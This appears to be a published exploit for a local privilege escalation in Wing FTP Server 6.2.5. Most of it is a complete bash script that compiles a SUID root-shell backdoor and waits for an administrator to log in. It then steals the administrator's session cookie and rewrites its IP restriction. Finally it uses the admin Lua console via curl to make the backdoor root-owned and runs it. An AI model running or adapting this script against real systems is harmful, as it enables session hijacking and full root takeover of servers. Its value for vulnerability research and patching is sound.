Wing FTP Server version 6.2.5 suffers from a privilege escalation vulnerability.

MD5 | 94c9cff08d8ed9f26e94d37311beaa3f

# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A

# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup)



#!/bin/bash

echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)'
echo 'Exploit by Cary Hooper (@nopantrootdance)'

function writeBackdoor() {
#this function creates a backdoor program (executes bash)
echo " Writing backdoor in $1"
echo '#include ' > $1/foobarh00p.c
echo '#include ' >> $1/foobarh00p.c
echo '#include ' >> $1/foobarh00p.c
echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c
gcc -w $1/foobarh00p.c -o $1/foobarh00p
}

function makeRequest() {
#Executes Lua command in admin panel to set the suid bit/chown on our backdoor
#Change owner to root
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null
#Make SUID
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null
}

directories=( "/tmp" "/var/tmp" "/dev/shm" )
for dir in "${directories[@]}"
do
#Check if directories are writeable
if [ -w $dir ]
then
echo "[!] Writeable directory found: $dir"
export backdoordir=$dir
break
else
echo " $dir is not writeable..."; fi
done

writeBackdoor $backdoordir

#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).
echo " Finding the wftpserver directory"
export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver)
if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi
#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above.
#export sessiondir="/opt/wftpserver/session_admin"

#While loop to wait for an admin session to be established.
echo " Waiting for a Wing FTP admin to log in. This may take a while..."
count=0
while : ; do
if [ "$(ls -A $sessiondir)" ]; then
#If a session file exists, the UID_ADMIN cookie is the name of the file.
echo "[!] An administrator logged in... stealing their session."
export cookie=$(ls -A $sessiondir | cut -d '.' -f1)
export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1)
echo " Changing IP restrictions on the cookie..."
cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua
cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua
rm $backdoordir/$cookie.lua
echo "[!] Successfully stole session."
#Once found, make the malicious curl request
export urldir=$(sed "s///%2F/g" <<<$backdoordir)
echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})"
makeRequest $cookie $urldir
break
else
#Checks every 10 seconds. Outputs date to terminal for user feedback purposes only.
sleep 10
let "count+=1"
if [ $count -eq 10 ]; then date; fi
echo "..."
fi
done

#Check if backdoor was created correctly
if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi
if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi

echo " Backdoor is now SUID owned by root."
echo "[!] Executing backdoor. Cross your fingers..."
#Execute the backdoor... root!
$backdoordir/foobarh00p

Source